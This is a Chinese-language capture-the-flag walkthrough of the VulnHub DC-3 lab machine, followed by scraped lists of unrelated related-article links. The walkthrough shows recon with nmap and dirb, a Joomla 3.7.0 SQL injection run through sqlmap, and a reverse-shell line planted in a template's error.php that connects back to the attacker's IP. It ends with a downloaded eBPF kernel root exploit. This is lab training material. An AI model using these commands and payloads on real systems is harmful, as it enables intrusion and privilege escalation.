DC-3

靶机部署

下载好DC-3,直接导入

可以生成一个mac地址,方便我们确认主机

信息收集

获取靶机ip(arp-scan/nmap)

arp-scan -l
nmap 192.168.190.0/24 得到靶机ip:192.168.190.139
kali ip:192.168.190.128

详细信息扫描(nmap)

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.190.139

-sS:半开放扫描(SYN扫描)优点:速度快、隐蔽性强(不完成 TCP 三次握手),适合大规模扫描。

-T5:时间模板(激进模式),共有0-5级,5级最快,提高扫描速度,但可能增加误报率。

-sC:默认脚本扫描,检测服务漏洞、枚举用户、识别服务版本等

-p:端口范围

--min-rate 10000:最小发包速率:强制 Nmap 每秒至少发送 10000 个数据包

nmap -sS -p- --min-rate 10000 $ip

发现开放了80端口,存在web服务

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. :-)

这一次,只有一个标志,一个入口点,没有线索。

要获得标志,您显然必须获得 root 权限。

如何成为 root 取决于你自己 - 显然,还有系统。

祝你好运 - 我希望你喜欢这个小挑战。:-)

敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan)

dirsearch -u http://192.168.190.139 -e *
dirb http://192.168.190.139 发现有一个http://192.168.190.139:80/administrator/

指纹收集(whatweb)

whatweb -v 192.168.190.139
Apache/2.4.18

渗透过程

前面信息收集发现CMS为Joomla,kali上存在一个专门针对它的漏洞扫描工具Joomscan,我们尝试试试。

joomscan --url http://192.168.190.139/
http://192.168.190.139/administrator/

在msf中查找一下joomla 3.7.0有没有可以利用的脚本

searchsploit joomla 3.7.0

发现了存在sql注入

Kali的exploits路径为/usr/share/exploitdb/exploits下

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
查看一下脚本文件信息

这边我们看到了POC,可以直接利用,把localhost修改为我们的靶机ip

http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

我们可以尝试去访问一下,直接提示报错,存在sql注入

我们再用提示的sqlmap语句跑一下

sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

跑出当前数据库的名字为joomladb
sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db

#爆破表名
sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" --tables

#爆列名
sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" --columns

#爆username和password值
sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump

admin/$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

到这里我们发现password是加密的,我们直接使用kali自带的john或者hashcat的都可以

admin/snoopy
然后在http://192.168.190.139/administrator/进行登录

进来发现有很多功能点

一顿点击后 发现在extensions>templates>templates中有上传点

点击Beez3 Details and Files 进入发现了newfiles可以上传文件

但另一种方法是在PHP文件中插入反弹shell访问

当然我们要知道文件的路径

http://192.168.190.139/templates/beez3/html

我们直接在error.php中写入反弹shell
system("bash -c 'bash -i >& /dev/tcp/192.168.190.128/5555 0>&1'");

然后kali开启监听
nc -lvvp 5555
http://192.168.190.139/templates/beez3/error.php
成功反弹shell

但是获取的用户权限低,我们尝试提权。

查看suid的文件,并没有可以提权的命令。
find / -perm -u=s -type f 2>/dev/null

发现没有可以提权的命令

我们换一种思路,查看系统信息

uname -a

cat /etc/issue

cat /proc/version

使用msf 查看一下Ubuntu 16.04是否有漏洞

searchsploit ubuntu 16.04

发现存在漏洞,这里我们利用4.4.x通用提权方式

路径/usr/share/exploitdb/exploits/linux/local/39772.txt

我们查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

给出了两个地址:
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

根据前面/usr/share/exploitdb/exploits/linux/local/39772.txt文件中的使用方式进行操作。

需要将exploit.tar这个文件上传的目标主机并且运行

这里尝试用python打开http服务使靶机下载发现失败

python3 -m http.server 80
靶机: wget http://192.168.190.128/exploit.tar

这表明能访问到

我们只需要将exploit.tar文件复制到网站根目录即可。

使靶机下载

systemctl restart apache2    

cp 39772/exploit.tar /var/www/html

靶机:wget http://192.168.190.128/exploit.tar

靶机解压文件

tar -xvf exploit.tar

进入解压出来的目录,按照39772.txt文件中的提示方式进行操作

cd ebpf_mapfd_doubleput_exploit
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./compile.sh
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./doubleput
whoami

提权成功但是没有交互,我们使用交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
cat the-flag.txt
得到flag

[VulnHub]DC-3靶场全过程的更多相关文章

  1. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  2. Vulnhub之Credit_Card_Scammers靶场渗透

    前言 一次"夺旗"练习,涵盖了许多不同的技巧. 背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达.我们发现了一个诈骗网站,我们认为该网站正在 ...

  3. vulnhub: DC 2

    首先地址探测找到主机IP: root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 202 ...

  4. DC靶机1-9合集

    DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...

  5. Vulhub-DC-2靶场

    Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...

  6. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  7. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  10. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

随机推荐

  1. 【 Python 】补全fibersim 导出的xml语法

    fibersim导出的xml文件中,node 和mesh部分的标签会缺失.即<R></R>变成了<R/>. 以下python脚本可以自动修正 # ********* ...

  2. 【Verilog】表达式位宽与符号判断机制

    缘起于p1课下alu算数位移设计.查了好多资料,最后发现还是主要在翻译官方文档.浪费了超多时间啊,感觉还是没搞透,还是先以应用为导向放一放,且用且归纳 1.表达式位宽 expression bit l ...

  3. SpringSecurity学习笔记-前后端分离

    1. 简介 Spring Security是Spring家族中的一个安全管理框架.相比于另外一个安全框架Shiro,它提供了更丰富的功能,社区资源也比Shiro丰富. 一般来说中大型的项目都是使用Sp ...

  4. Bringing machine 'default' up with 'virtualbox' provider... Your VM has become "inaccessible." Unfortunately, this is a critical error with VirtualBox that Vagrant can not cleanly recover from.

    启动虚拟机报错 vagrant up Bringing machine 'default' up with 'virtualbox' provider...Your VM has become &qu ...

  5. 如何学习 ROS+PX4

    博客地址:https://www.cnblogs.com/zylyehuo/ 参考 https://www.bilibili.com/video/BV1vx4y1Y7Tu?spm_id_from=33 ...

  6. Tiki靶机练习

    Scan 先arp-scan -l扫描附件主机ip nmap -sS -sV -n -T4 -p- 192.168.93.132 Starting Nmap 7.94SVN ( https://nma ...

  7. 项目管理知识体系指南(PMBOK 指南)

    项目管理知识体系指南(PMBOK 指南) 第6版--笔记项目管理十大知识领域,五大管理过程组,49个过程.如下表格:项目:项目的定义 : (Project Management Institute)项 ...

  8. Python提取pdf文字信息

    目录 Python提取pdf文字信息 需求 代码 总结 Python提取pdf文字信息 需求 今天教务处导出来我们全年级的成绩,一看吓一跳,我们的名字怎么不在文件名里,只能一个个找吗.事情开始变得离谱 ...

  9. Docker 实用镜像

    实用镜像 nginx-proxy nginx-proxy sets up a container running nginx and docker-gen. ...

  10. javascript 数值交换技巧

    需求 现在存在var a = 1,b = 2;,要求使用javascript实现a & b数值的交换,让a = 2,b = 1. 中间变量(常规实现方式) var a = 1, b = 2; ...